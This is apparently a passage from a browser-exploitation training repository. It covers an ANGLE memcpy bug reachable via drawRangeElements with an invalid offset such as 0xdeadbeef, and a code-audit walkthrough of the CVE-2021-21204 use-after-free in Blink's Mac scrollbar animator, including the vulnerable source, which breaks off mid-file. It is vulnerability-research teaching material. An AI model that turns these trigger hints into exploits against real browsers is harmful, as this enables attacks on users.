My answer You can get info about [WebGL2RenderingContext.drawRangeElements()](https://developer.mozilla.org/en-US/docs/Web/API/WebGL2RenderingContext/drawRangeElements) to know how to construct Poc. Notice that if we call `drawRangeElements()` with a invalide parameter, the bug can be trigger. It is the easiest challenge of the three. ```c++ angle::Result IndexDataManager::prepareIndexData(const gl::Context *context, gl::DrawElementsType srcType, gl::DrawElementsType dstType, GLsizei count, gl::Buffer *glBuffer, const void *indices, TranslatedIndexData *translated) { // Case 1: the indices are passed by pointer, which forces the streaming of index data if (glBuffer == nullptr) [1] { translated->storage = nullptr; return streamIndexData(context, indices, count, srcType, dstType, [2] primitiveRestartFixedIndexEnabled, translated); } ``` if `glBuffer == nullptr`, `indices` can be second parameter of `streamIndexData`. ```c++ angle::Result IndexDataManager::streamIndexData(const gl::Context *context, const void *data, <---------- unsigned int count, gl::DrawElementsType srcType, gl::DrawElementsType dstType, bool usePrimitiveRestartFixedIndex, TranslatedIndexData *translated) { unsigned int offset; ANGLE_TRY(StreamInIndexBuffer(context, indexBuffer, data, count, srcType, dstType, [3] indices as third parameter usePrimitiveRestartFixedIndex, &offset)); return angle::Result::Continue; } ================================================================================= angle::Result StreamInIndexBuffer(const gl::Context *context, IndexBufferInterface *buffer, const void *data, <--------------- unsigned int count, gl::DrawElementsType srcType, gl::DrawElementsType dstType, bool usePrimitiveRestartFixedIndex, unsigned int *offset) { ConvertIndices(srcType, dstType, data, count, output, usePrimitiveRestartFixedIndex); [4] indices as third parameter ANGLE_TRY(buffer->unmapBuffer(context)); return angle::Result::Continue; } ======================================================================================== void ConvertIndices(gl::DrawElementsType sourceType, gl::DrawElementsType destinationType, const void *input, <------------------ GLsizei count, void *output, bool usePrimitiveRestartFixedIndex) { if (sourceType == destinationType) { const GLuint dstTypeSize = gl::GetDrawElementsTypeSize(destinationType); memcpy(output, input, count * dstTypeSize); [5] call memcpy and we can control input as any value return; } // other type of sourceType, but they all have assignment operation [ .... ] } ``` This time I encourage you to try construct Poc, you just need call `gl.drawRangeElements(mode, start, end, count, type, offset);` and fill the last parameter named `offset` with a invalid value like `0xdeadbeef`. But there is a lot of pre-work before this, you need to search some info to reach. And test it on the angle your build ago.
-------- ================================================ FILE: LEVEL_1/exercise_3/poc.html ================================================ ================================================ FILE: LEVEL_1/exercise_4/README.md ================================================ # Exercise 4 ## CVE-2021-21204 I sugget you don't search any report about it to prevents get too much info like patch. This time we do it by code audit ### Details > What is happening is that the BlinkScrollbarPartAnimation instance passed to BlinkScrollbarPartAnimationTimer is released while the BlinkScrollbarPartAnimationTimer::TimerFired method runs as part of BlinkScrollbarPartAnimation::setCurrentProgress call, during the execution of ScrollbarPainter::setKnobAlpha which ends up calling BlinkScrollbarPainterDelegate::setUpAlphaAnimation through a chain of observers. BlinkScrollbarPainterDelegate::setUpAlphaAnimation releases the BlinkScrollbarPartAnimation instance which gets deallocated. BlinkScrollbarPartAnimation::setCurrentProgress continues execution after ScrollbarPainter::setKnobAlpha returns, but the _scrollbarPointer is overwritten with garbage and when SetNeedsPaintInvalidation is called the crash happens. You'd better read [these](https://www.chromium.org/blink) to have a preliminary understanding of Blink and make sure you know a little about `Objective-C` ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1189926
-------- ### Set environment Because the hash we get from issue page is related to chromium, we need download the chromium source code and blink is one part of it. I upload the main file and you can try to fetch chromium. The hash [`6c3c857b90ef63822c8e598bdb7aea604ba1688c`](https://github.com/chromium/chromium/tree/6c3c857b90ef63822c8e598bdb7aea604ba1688c/third_party/blink) ### Related code we can analysis the source file [online](https://source.chromium.org/chromium/chromium/src/+/6c3c857b90ef63822c8e598bdb7aea604ba1688c:third_party/blink/renderer/core/scroll/mac_scrollbar_animator_impl.mm#414) or offline. ```objective-c class BlinkScrollbarPartAnimationTimer { public: BlinkScrollbarPartAnimationTimer( BlinkScrollbarPartAnimation* animation, CFTimeInterval duration, scoped_refptr task_runner) : timer_(std::move(task_runner), this, &BlinkScrollbarPartAnimationTimer::TimerFired), start_time_(0.0), duration_(duration), animation_(animation), timing_function_(CubicBezierTimingFunction::Preset( CubicBezierTimingFunction::EaseType::EASE_IN_OUT)) {} private: void TimerFired(TimerBase*) { double current_time = base::Time::Now().ToDoubleT(); double delta = current_time - start_time_; if (delta >= duration_) timer_.Stop(); // This is a speculative fix for crbug.com/1183276. if (!animation_) return; double fraction = delta / duration_; fraction = clampTo(fraction, 0.0, 1.0); double progress = timing_function_->Evaluate(fraction); [animation_ setCurrentProgress:progress]; } TaskRunnerTimer timer_; double start_time_; // In seconds. double duration_; // In seconds. BlinkScrollbarPartAnimation* animation_; // Weak, owns this. scoped_refptr timing_function_; }; ``` ```objective-c - (void)setCurrentProgress:(NSAnimationProgress)progress { DCHECK(_scrollbar); CGFloat currentValue; if (_startValue > _endValue) currentValue = 1 - progress; else currentValue = progress; blink::ScrollbarPart invalidParts = blink::kNoPart; switch (_featureToAnimate) { case ThumbAlpha: [_scrollbarPainter setKnobAlpha:currentValue]; // call ScrollbarPainter::setKnobAlpha break; case TrackAlpha: [_scrollbarPainter setTrackAlpha:currentValue]; invalidParts = static_cast(~blink::kThumbPart); break; case UIStateTransition: [_scrollbarPainter setUiStateTransitionProgress:currentValue]; invalidParts = blink::kAllParts; break; case ExpansionTransition: [_scrollbarPainter setExpansionTransitionProgress:currentValue]; invalidParts = blink::kThumbPart; break; } _scrollbar->SetNeedsPaintInvalidation(invalidParts); } ============================================================================ - (void)scrollerImp:(id)scrollerImp animateKnobAlphaTo:(CGFloat)newKnobAlpha duration:(NSTimeInterval)duration { if (!_scrollbar) return; DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar)); ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp; [self setUpAlphaAnimation:_knobAlphaAnimation // call BlinkScrollbarPainterDelegate::setUpAlphaAnimation scrollerPainter:scrollerPainter part:blink::kThumbPart animateAlphaTo:newKnobAlpha duration:duration]; } ============================================================================ - (void)setUpAlphaAnimation: (base::scoped_nsobject&) scrollbarPartAnimation scrollerPainter:(ScrollbarPainter)scrollerPainter part:(blink::ScrollbarPart)part animateAlphaTo:(CGFloat)newAlpha duration:(NSTimeInterval)duration { blink::MacScrollbarAnimator* scrollbar_animator = _scrollbar->GetScrollableArea()->GetMacScrollbarAnimator(); DCHECK(scrollbar_animator); // If the user has scrolled the page, then the scrollbars must be animated // here. // This overrides the early returns. bool mustAnimate = [self scrollAnimator].HaveScrolledSincePageLoad(); if (scrollbar_animator->ScrollbarPaintTimerIsActive() && !mustAnimate) return; if (_scrollbar->GetScrollableArea()->ShouldSuspendScrollAnimations() && !mustAnimate) { scrollbar_animator->StartScrollbarPaintTimer(); return; } // At this point, we are definitely going to animate now, so stop the timer. scrollbar_animator->StopScrollbarPaintTimer(); // If we are currently animating, stop if (scrollbarPartAnimation) { [scrollbarPartAnimation invalidate]; scrollbarPartAnimation.reset(); } scrollbarPartAnimation.reset([[BlinkScrollbarPartAnimation alloc] initWithScrollbar:_scrollbar featureToAnimate:part == blink::kThumbPart ? ThumbAlpha : TrackAlpha animateFrom:part == blink::kThumbPart ? [scrollerPainter knobAlpha] : [scrollerPainter trackAlpha] animateTo:newAlpha duration:duration taskRunner:_taskRunner]); [scrollbarPartAnimation startAnimation]; } ``` ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer We can start from `TimerFired` func ```objective-c class BlinkScrollbarPartAnimationTimer [ ... ] void TimerFired(TimerBase*) { double current_time = base::Time::Now().ToDoubleT(); double delta = current_time - start_time_; if (delta >= duration_) timer_.Stop(); // This is a speculative fix for crbug.com/1183276. if (!animation_) return; double fraction = delta / duration_; fraction = clampTo(fraction, 0.0, 1.0); double progress = timing_function_->Evaluate(fraction); [animation_ setCurrentProgress:progress]; [1] call setCurrentProgress. Notice `animation_` } private: BlinkScrollbarPartAnimation* animation_; [2] weak, own this ``` [2] `BlinkScrollbarPartAnimationTimer` own the instance of `BlinkScrollbarPartAnimation` which assignmented by constructor. This make a chance to trigger uaf. ```objective-c - (void)setCurrentProgress:(NSAnimationProgress)progress { DCHECK(_scrollbar); CGFloat currentValue; blink::ScrollbarPart invalidParts = blink::kNoPart; switch (_featureToAnimate) { case ThumbAlpha: [_scrollbarPainter setKnobAlpha:currentValue]; [3] call ScrollbarPainter::setKnobAlpha break; case TrackAlpha: [_scrollbarPainter setTrackAlpha:currentValue]; invalidParts = static_cast(~blink::kThumbPart); break; } _scrollbar->SetNeedsPaintInvalidation(invalidParts); } ``` `setCurrentProgress` can call `setKnobAlpha` ```objective-c - (void)scrollerImp:(id)scrollerImp animateKnobAlphaTo:(CGFloat)newKnobAlpha duration:(NSTimeInterval)duration { if (!_scrollbar) return; DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar)); ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp; [self setUpAlphaAnimation:_knobAlphaAnimation [4] call BlinkScrollbarPainterDelegate::setUpAlphaAnimation scrollerPainter:scrollerPainter part:blink::kThumbPart animateAlphaTo:newKnobAlpha duration:duration]; } ``` ```objective-c - (void)setUpAlphaAnimation: (base::scoped_nsobject&) scrollbarPartAnimation scrollerPainter:(ScrollbarPainter)scrollerPainter part:(blink::ScrollbarPart)part animateAlphaTo:(CGFloat)newAlpha duration:(NSTimeInterval)duration { blink::MacScrollbarAnimator* scrollbar_animator = _scrollbar->GetScrollableArea()->GetMacScrollbarAnimator(); DCHECK(scrollbar_animator); // If we are currently animating, stop if (scrollbarPartAnimation) { [5] [scrollbarPartAnimation invalidate]; scrollbarPartAnimation.reset(); } scrollbarPartAnimation.reset([[BlinkScrollbarPartAnimation alloc] [6] initWithScrollbar:_scrollbar featureToAnimate:part == blink::kThumbPart ? ThumbAlpha : TrackAlpha animateFrom:part == blink::kThumbPart ? [scrollerPainter knobAlpha] : [scrollerPainter trackAlpha] animateTo:newAlpha duration:duration taskRunner:_taskRunner]); [scrollbarPartAnimation startAnimation]; } ``` The `(base::scoped_nsobject&) scrollbarPartAnimation` can be release by `reset()` - About `scoped_nsobject`: >`scoped_nsobject<>` is patterned after std::unique_ptr<>, but maintains ownership of an NSObject subclass object. Style deviations here are solely for compatibility with std::unique_ptr<>'s interface, with which everyone is already familiar. >scoped_nsobject<> takes ownership of an object (in the constructor or in reset()) by taking over the caller's existing ownership claim. The caller must own the object it gives to scoped_nsobject<>, and relinquishes an ownership claim to that object. **scoped_nsobject<> does not call -retain, callers have to call this manually if appropriate.** - About `void base::scoped_nsprotocol< NST >::reset( NST object = nil )`: ```objective-c { // We intentionally do not check that object != object_ as the caller must // either already have an ownership claim over whatever it passes to this // method, or call it with the |RETAIN| policy which will have ensured that // the object is retained once more when reaching this point. [object_ release]; object_ = object; } ```
-------- ================================================ FILE: LEVEL_1/exercise_4/mac_scrollbar_animator_impl.mm ================================================ // Copyright 2021 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "third_party/blink/renderer/core/scroll/mac_scrollbar_animator_impl.h" #import #include "base/mac/scoped_nsobject.h" #include "third_party/blink/public/platform/platform.h" #include "third_party/blink/renderer/core/scroll/ns_scroller_imp_details.h" #include "third_party/blink/renderer/core/scroll/scroll_animator.h" #include "third_party/blink/renderer/core/scroll/scrollbar_theme_mac.h" #include "third_party/blink/renderer/platform/animation/timing_function.h" #include "third_party/blink/renderer/platform/mac/block_exceptions.h" #include "third_party/blink/renderer/platform/scheduler/public/thread_scheduler.h" namespace { bool SupportsUIStateTransitionProgress() { // FIXME: This is temporary until all platforms that support ScrollbarPainter // support this part of the API. static bool global_supports_ui_state_transition_progress = [NSClassFromString(@"NSScrollerImp") instancesRespondToSelector:@selector(mouseEnteredScroller)]; return global_supports_ui_state_transition_progress; } bool SupportsExpansionTransitionProgress() { static bool global_supports_expansion_transition_progress = [NSClassFromString(@"NSScrollerImp") instancesRespondToSelector:@selector(expansionTransitionProgress)]; return global_supports_expansion_transition_progress; } bool SupportsContentAreaScrolledInDirection() { static bool global_supports_content_area_scrolled_in_direction = [NSClassFromString(@"NSScrollerImpPair") instancesRespondToSelector:@selector (contentAreaScrolledInDirection:)]; return global_supports_content_area_scrolled_in_direction; } blink::ScrollbarThemeMac* MacOverlayScrollbarTheme( blink::ScrollbarTheme& scrollbar_theme) { return !scrollbar_theme.IsMockTheme() ? static_cast(&scrollbar_theme) : nil; } ScrollbarPainter ScrollbarPainterForScrollbar(blink::Scrollbar& scrollbar) { if (blink::ScrollbarThemeMac* scrollbar_theme = MacOverlayScrollbarTheme(scrollbar.GetTheme())) return scrollbar_theme->PainterForScrollbar(scrollbar); return nil; } } // namespace // This class is a delegator of ScrollbarPainterController to ScrollableArea // that has the scrollbars of a ScrollbarPainter. @interface BlinkScrollbarPainterControllerDelegate : NSObject { blink::ScrollableArea* _scrollableArea; } - (id)initWithScrollableArea:(blink::ScrollableArea*)scrollableArea; @end @implementation BlinkScrollbarPainterControllerDelegate - (id)initWithScrollableArea:(blink::ScrollableArea*)scrollableArea { self = [super init]; if (!self) return nil; _scrollableArea = scrollableArea; return self; } - (void)invalidate { _scrollableArea = 0; } - (NSRect)contentAreaRectForScrollerImpPair:(id)scrollerImpPair { if (!_scrollableArea) return NSZeroRect; blink::IntSize contentsSize = _scrollableArea->ContentsSize(); return NSMakeRect(0, 0, contentsSize.Width(), contentsSize.Height()); } - (BOOL)inLiveResizeForScrollerImpPair:(id)scrollerImpPair { return NO; } - (NSPoint)mouseLocationInContentAreaForScrollerImpPair:(id)scrollerImpPair { if (!_scrollableArea) return NSZeroPoint; return _scrollableArea->LastKnownMousePosition(); } - (NSPoint)scrollerImpPair:(id)scrollerImpPair convertContentPoint:(NSPoint)pointInContentArea toScrollerImp:(id)scrollerImp { if (!_scrollableArea || !scrollerImp) return NSZeroPoint; blink::Scrollbar* scrollbar = nil; if ([scrollerImp isHorizontal]) scrollbar = _scrollableArea->HorizontalScrollbar(); else scrollbar = _scrollableArea->VerticalScrollbar(); // It is possible to have a null scrollbar here since it is possible for this // delegate method to be called between the moment when a scrollbar has been // set to 0 and the moment when its destructor has been called. if (!scrollbar) return NSZeroPoint; DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*scrollbar)); return scrollbar->ConvertFromContainingEmbeddedContentView( blink::IntPoint(pointInContentArea)); } - (void)scrollerImpPair:(id)scrollerImpPair setContentAreaNeedsDisplayInRect:(NSRect)rect { if (!_scrollableArea) return; if (!_scrollableArea->ScrollbarsCanBeActive()) return; _scrollableArea->ContentAreaWillPaint(); } - (void)scrollerImpPair:(id)scrollerImpPair updateScrollerStyleForNewRecommendedScrollerStyle: (NSScrollerStyle)newRecommendedScrollerStyle { // Chrome has a single process mode which is used for testing on Mac. In that // mode, WebKit runs on a thread in the // browser process. This notification is called by the OS on the main thread // in the browser process, and not on the // the WebKit thread. Better to not update the style than crash. // http://crbug.com/126514 if (!IsMainThread()) return; if (!_scrollableArea) return; [scrollerImpPair setScrollerStyle:newRecommendedScrollerStyle]; _scrollableArea->GetMacScrollbarAnimator()->UpdateScrollerStyle(); } @end enum FeatureToAnimate { ThumbAlpha, TrackAlpha, UIStateTransition, ExpansionTransition }; @class BlinkScrollbarPartAnimation; namespace blink { // This class is used to drive the animation timer for // BlinkScrollbarPartAnimation // objects. This is used instead of NSAnimation because CoreAnimation // establishes connections to the WindowServer, which should not be done in a // sandboxed renderer process. class BlinkScrollbarPartAnimationTimer { public: BlinkScrollbarPartAnimationTimer( BlinkScrollbarPartAnimation* animation, CFTimeInterval duration, scoped_refptr task_runner) : timer_(std::move(task_runner), this, &BlinkScrollbarPartAnimationTimer::TimerFired), start_time_(0.0), duration_(duration), animation_(animation), timing_function_(CubicBezierTimingFunction::Preset( CubicBezierTimingFunction::EaseType::EASE_IN_OUT)) {} ~BlinkScrollbarPartAnimationTimer() {} void Start() { start_time_ = base::Time::Now().ToDoubleT(); // Set the framerate of the animation. NSAnimation uses a default // framerate of 60 Hz, so use that here. timer_.StartRepeating(base::TimeDelta::FromSecondsD(1.0 / 60.0), FROM_HERE); } void Stop() { timer_.Stop(); } void SetDuration(CFTimeInterval duration) { duration_ = duration; } // This is a speculative fix for crbug.com/1183276. // In BlinkScrollbarPainterDelegate::setUpAlphaAnimation we are // deallocating BlinkScrollbarPartAnimation and create a new one. // The problem seems to be with BlinkScrollbarPartAnimation, passing a // pointer to itself to BlinkScrollbarPartAnimationTimer. // BlinkScrollbarPartAnimationTimer uses a TaskRunnerTimer to schedule // the animation to run 60 times second. // When we deallocate BlinkScrollbarPartAnimation, // BlinkScrollbarPartAnimationTimer fires again, I believe because it // uses PostTaskDelayed to schedule the next animation. // Ideally the timer won't fire again. void CancelAnimation() { animation_ = nullptr; } private: void TimerFired(TimerBase*) { double current_time = base::Time::Now().ToDoubleT(); double delta = current_time - start_time_; if (delta >= duration_) timer_.Stop(); // This is a speculative fix for crbug.com/1183276. if (!animation_) return; double fraction = delta / duration_; fraction = clampTo(fraction, 0.0, 1.0); double progress = timing_function_->Evaluate(fraction); [animation_ setCurrentProgress:progress]; } TaskRunnerTimer timer_; double start_time_; // In seconds. double duration_; // In seconds. BlinkScrollbarPartAnimation* animation_; // Weak, owns this. scoped_refptr timing_function_; }; } // namespace blink // This class handles the animation of a |_featureToAnimate| part of // |_scrollbar|. @interface BlinkScrollbarPartAnimation : NSObject { blink::Scrollbar* _scrollbar; std::unique_ptr _timer; base::scoped_nsobject _scrollbarPainter; FeatureToAnimate _featureToAnimate; CGFloat _startValue; CGFloat _endValue; } - (id)initWithScrollbar:(blink::Scrollbar*)scrollbar featureToAnimate:(FeatureToAnimate)featureToAnimate animateFrom:(CGFloat)startValue animateTo:(CGFloat)endValue duration:(NSTimeInterval)duration taskRunner:(scoped_refptr)taskRunner; @end @implementation BlinkScrollbarPartAnimation - (id)initWithScrollbar:(blink::Scrollbar*)scrollbar featureToAnimate:(FeatureToAnimate)featureToAnimate animateFrom:(CGFloat)startValue animateTo:(CGFloat)endValue duration:(NSTimeInterval)duration taskRunner: (scoped_refptr)taskRunner { self = [super init]; if (!self) return nil; _timer = std::make_unique( self, duration, std::move(taskRunner)); _scrollbar = scrollbar; _featureToAnimate = featureToAnimate; _startValue = startValue; _endValue = endValue; return self; } - (void)startAnimation { DCHECK(_scrollbar); _scrollbarPainter.reset(ScrollbarPainterForScrollbar(*_scrollbar), base::scoped_policy::RETAIN); _timer->Start(); } - (void)stopAnimation { _timer->Stop(); } - (void)setDuration:(CFTimeInterval)duration { _timer->SetDuration(duration); } - (void)setStartValue:(CGFloat)startValue { _startValue = startValue; } - (void)setEndValue:(CGFloat)endValue { _endValue = endValue; } - (void)setCurrentProgress:(NSAnimationProgress)progress { DCHECK(_scrollbar); CGFloat currentValue; if (_startValue > _endValue) currentValue = 1 - progress; else currentValue = progress; blink::ScrollbarPart invalidParts = blink::kNoPart; switch (_featureToAnimate) { case ThumbAlpha: [_scrollbarPainter setKnobAlpha:currentValue]; break; case TrackAlpha: [_scrollbarPainter setTrackAlpha:currentValue]; invalidParts = static_cast(~blink::kThumbPart); break; case UIStateTransition: [_scrollbarPainter setUiStateTransitionProgress:currentValue]; invalidParts = blink::kAllParts; break; case ExpansionTransition: [_scrollbarPainter setExpansionTransitionProgress:currentValue]; invalidParts = blink::kThumbPart; break; } _scrollbar->SetNeedsPaintInvalidation(invalidParts); } - (void)invalidate { BEGIN_BLOCK_OBJC_EXCEPTIONS; [self stopAnimation]; END_BLOCK_OBJC_EXCEPTIONS; _scrollbar = nullptr; _timer->CancelAnimation(); } @end // This class is a delegator of ScrollbarPainter to the 4 types of animation // it can run. The animations are run through BlinkScrollbarPartAnimation. @interface BlinkScrollbarPainterDelegate : NSObject { blink::Scrollbar* _scrollbar; scoped_refptr _taskRunner; base::scoped_nsobject _knobAlphaAnimation; base::scoped_nsobject _trackAlphaAnimation; base::scoped_nsobject _uiStateTransitionAnimation; base::scoped_nsobject _expansionTransitionAnimation; BOOL _hasExpandedSinceInvisible; } - (id)initWithScrollbar:(blink::Scrollbar*)scrollbar taskRunner:(scoped_refptr)taskRunner; - (void)updateVisibilityImmediately:(bool)show; - (void)cancelAnimations; @end @implementation BlinkScrollbarPainterDelegate - (id)initWithScrollbar:(blink::Scrollbar*)scrollbar taskRunner: (scoped_refptr)taskRunner { self = [super init]; if (!self) return nil; _scrollbar = scrollbar; _taskRunner = taskRunner; return self; } - (void)updateVisibilityImmediately:(bool)show { [self cancelAnimations]; [ScrollbarPainterForScrollbar(*_scrollbar) setKnobAlpha:(show ? 1.0 : 0.0)]; } - (void)cancelAnimations { BEGIN_BLOCK_OBJC_EXCEPTIONS; [_knobAlphaAnimation stopAnimation]; [_trackAlphaAnimation stopAnimation]; [_uiStateTransitionAnimation stopAnimation]; [_expansionTransitionAnimation stopAnimation]; END_BLOCK_OBJC_EXCEPTIONS; } - (blink::ScrollAnimator&)scrollAnimator { return static_cast( _scrollbar->GetScrollableArea()->GetScrollAnimator()); } - (NSRect)convertRectToBacking:(NSRect)aRect { return aRect; } - (NSRect)convertRectFromBacking:(NSRect)aRect { return aRect; } - (NSPoint)mouseLocationInScrollerForScrollerImp:(id)scrollerImp { if (!_scrollbar) return NSZeroPoint; DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar)); return _scrollbar->ConvertFromContainingEmbeddedContentView( _scrollbar->GetScrollableArea()->LastKnownMousePosition()); } - (void)setUpAlphaAnimation: (base::scoped_nsobject&) scrollbarPartAnimation scrollerPainter:(ScrollbarPainter)scrollerPainter part:(blink::ScrollbarPart)part animateAlphaTo:(CGFloat)newAlpha duration:(NSTimeInterval)duration { blink::MacScrollbarAnimator* scrollbar_animator = _scrollbar->GetScrollableArea()->GetMacScrollbarAnimator(); DCHECK(scrollbar_animator); // If the user has scrolled the page, then the scrollbars must be animated // here. // This overrides the early returns. bool mustAnimate = [self scrollAnimator].HaveScrolledSincePageLoad(); if (scrollbar_animator->ScrollbarPaintTimerIsActive() && !mustAnimate) return; if (_scrollbar->GetScrollableArea()->ShouldSuspendScrollAnimations() && !mustAnimate) { scrollbar_animator->StartScrollbarPaintTimer(); return; } // At this point, we are definitely going to animate now, so stop the timer. scrollbar_animator->StopScrollbarPaintTimer(); // If we are currently animating, stop if (scrollbarPartAnimation) { [scrollbarPartAnimation invalidate]; scrollbarPartAnimation.reset(); } scrollbarPartAnimation.reset([[BlinkScrollbarPartAnimation alloc] initWithScrollbar:_scrollbar featureToAnimate:part == blink::kThumbPart ? ThumbAlpha : TrackAlpha animateFrom:part == blink::kThumbPart ? [scrollerPainter knobAlpha] : [scrollerPainter trackAlpha] animateTo:newAlpha duration:duration taskRunner:_taskRunner]); [scrollbarPartAnimation startAnimation]; } - (void)scrollerImp:(id)scrollerImp animateKnobAlphaTo:(CGFloat)newKnobAlpha duration:(NSTimeInterval)duration { if (!_scrollbar) return; DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar)); ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp; [self setUpAlphaAnimation:_knobAlphaAnimation scrollerPainter:scrollerPainter part:blink::kThumbPart animateAlphaTo:newKnobAlpha duration:duration]; } - (void)scrollerImp:(id)scrollerImp animateTrackAlphaTo:(CGFloat)newTrackAlpha duration:(NSTimeInterval)duration { if (!_scrollbar) return; DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar)); ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp; [self setUpAlphaAnimation:_trackAlphaAnimation scrollerPainter:scrollerPainter part:blink::kBackTrackPart animateAlphaTo:newTrackAlpha duration:duration]; } - (void)scrollerImp:(id)scrollerImp animateUIStateTransitionWithDuration:(NSTimeInterval)duration { if (!_scrollbar) return; if (!SupportsUIStateTransitionProgress()) return; DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar)); ScrollbarPainter scrollbarPainter = (ScrollbarPainter)scrollerImp; // UIStateTransition always animates to 1. In case an animation is in progress // this avoids a hard transition. [scrollbarPainter setUiStateTransitionProgress:1 - [scrollerImp uiStateTransitionProgress]]; if (!_uiStateTransitionAnimation) _uiStateTransitionAnimation.reset([[BlinkScrollbarPartAnimation alloc] initWithScrollbar:_scrollbar featureToAnimate:UIStateTransition animateFrom:[scrollbarPainter uiStateTransitionProgress] animateTo:1.0 duration:duration taskRunner:_taskRunner]); else { // If we don't need to initialize the animation, just reset the values in // case they have changed. [_uiStateTransitionAnimation setStartValue:[scrollbarPainter uiStateTransitionProgress]]; [_uiStateTransitionAnimation setEndValue:1.0]; [_uiStateTransitionAnimation setDuration:duration]; } [_uiStateTransitionAnimation startAnimation]; } - (void)scrollerImp:(id)scrollerImp animateExpansionTransitionWithDuration:(NSTimeInterval)duration { if (!_scrollbar) return; if (!SupportsExpansionTransitionProgress()) return; DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar)); ScrollbarPainter scrollbarPainter = (ScrollbarPainter)scrollerImp; // ExpansionTransition always animates to 1. In case an animation is in // progress this avoids a hard transition. [scrollbarPainter setExpansionTransitionProgress:1 - [scrollerImp expansionTransitionProgress]]; if (!_expansionTransitionAnimation) { _expansionTransitionAnimation.reset([[BlinkScrollbarPartAnimation alloc] initWithScrollbar:_scrollbar featureToAnimate:ExpansionTransition animateFrom:[scrollbarPainter expansionTransitionProgress] animateTo:1.0 duration:duration taskRunner:_taskRunner]); } else { // If we don't need to initialize the animation, just reset the values in // case they have changed. [_expansionTransitionAnimation setStartValue:[scrollbarPainter uiStateTransitionProgress]]; [_expansionTransitionAnimation setEndValue:1.0]; [_expansionTransitionAnimation setDuration:duration]; } [_expansionTransitionAnimation startAnimation]; } - (void)scrollerImp:(id)scrollerImp overlayScrollerStateChangedTo:(NSUInteger)newOverlayScrollerState { // The names of these states are based on their observed behavior, and are not // based on documentation. enum { NSScrollerStateInvisible = 0, NSScrollerStateKnob = 1, NSScrollerStateExpanded = 2 }; // We do not receive notifications about the thumb un-expanding when the // scrollbar fades away. Ensure // that we re-paint the thumb the next time that we transition away from being // invisible, so that // the thumb doesn't stick in an expanded state. if (newOverlayScrollerState == NSScrollerStateExpanded) { _hasExpandedSinceInvisible = YES; } else if (newOverlayScrollerState != NSScrollerStateInvisible && _hasExpandedSinceInvisible) { _scrollbar->SetNeedsPaintInvalidation(blink::kThumbPart); _hasExpandedSinceInvisible = NO; } } - (void)invalidate { _scrollbar = 0; BEGIN_BLOCK_OBJC_EXCEPTIONS; [_knobAlphaAnimation invalidate]; [_trackAlphaAnimation invalidate]; [_uiStateTransitionAnimation invalidate]; [_expansionTransitionAnimation invalidate]; END_BLOCK_OBJC_EXCEPTIONS; } @end namespace blink { MacScrollbarAnimatorImpl::MacScrollbarAnimatorImpl( ScrollableArea* scrollable_area) : task_runner_(scrollable_area->GetCompositorTaskRunner()), scrollable_area_(scrollable_area) { scrollbar_painter_controller_delegate_.reset( [[BlinkScrollbarPainterControllerDelegate alloc] initWithScrollableArea:scrollable_area]); scrollbar_painter_controller_.reset( [[[NSClassFromString(@"NSScrollerImpPair") alloc] init] autorelease], base::scoped_policy::RETAIN); [scrollbar_painter_controller_ performSelector:@selector(setDelegate:) withObject:scrollbar_painter_controller_delegate_]; [scrollbar_painter_controller_ setScrollerStyle:ScrollbarThemeMac::RecommendedScrollerStyle()]; } void MacScrollbarAnimatorImpl::Dispose() { BEGIN_BLOCK_OBJC_EXCEPTIONS; ScrollbarPainter horizontal_scrollbar_painter = [scrollbar_painter_controller_ horizontalScrollerImp]; [horizontal_scrollbar_painter setDelegate:nil]; ScrollbarPainter vertical_scrollbar_painter = [scrollbar_painter_controller_ verticalScrollerImp]; [vertical_scrollbar_painter setDelegate:nil]; [scrollbar_painter_controller_delegate_ invalidate]; [scrollbar_painter_controller_ setDelegate:nil]; [horizontal_scrollbar_painter_delegate_ invalidate]; [vertical_scrollbar_painter_delegate_ invalidate]; END_BLOCK_OBJC_EXCEPTIONS; initial_scrollbar_paint_task_handle_.Cancel(); send_content_area_scrolled_task_handle_.Cancel(); } void MacScrollbarAnimatorImpl::ContentAreaWillPaint() const { if (!scrollable_area_->ScrollbarsCanBeActive()) return; [scrollbar_painter_controller_ contentAreaWillDraw]; } void MacScrollbarAnimatorImpl::MouseEnteredContentArea() const { if (!scrollable_area_->ScrollbarsCanBeActive()) return; [scrollbar_painter_controller_ mouseEnteredContentArea]; } void MacScrollbarAnimatorImpl::MouseExitedContentArea() const { if (!scrollable_area_->ScrollbarsCanBeActive()) return; [scrollbar_painter_controller_ mouseExitedContentArea]; } void MacScrollbarAnimatorImpl::MouseMovedInContentArea() const { if (!scrollable_area_->ScrollbarsCanBeActive()) return; [scrollbar_painter_controller_ mouseMovedInContentArea]; } void MacScrollbarAnimatorImpl::MouseEnteredScrollbar( Scrollbar& scrollbar) const { if (!scrollable_area_->ScrollbarsCanBeActive()) return; if (!SupportsUIStateTransitionProgress()) return; if (ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar)) [painter mouseEnteredScroller]; } void MacScrollbarAnimatorImpl::MouseExitedScrollbar( Scrollbar& scrollbar) const { if (!scrollable_area_->ScrollbarsCanBeActive()) return; if (!SupportsUIStateTransitionProgress()) return; if (ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar)) [painter mouseExitedScroller]; } void MacScrollbarAnimatorImpl::ContentsResized() const { if (!scrollable_area_->ScrollbarsCanBeActive()) return; [scrollbar_painter_controller_ contentAreaDidResize]; } void MacScrollbarAnimatorImpl::DidAddVerticalScrollbar(Scrollbar& scrollbar) { ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar); if (!painter) 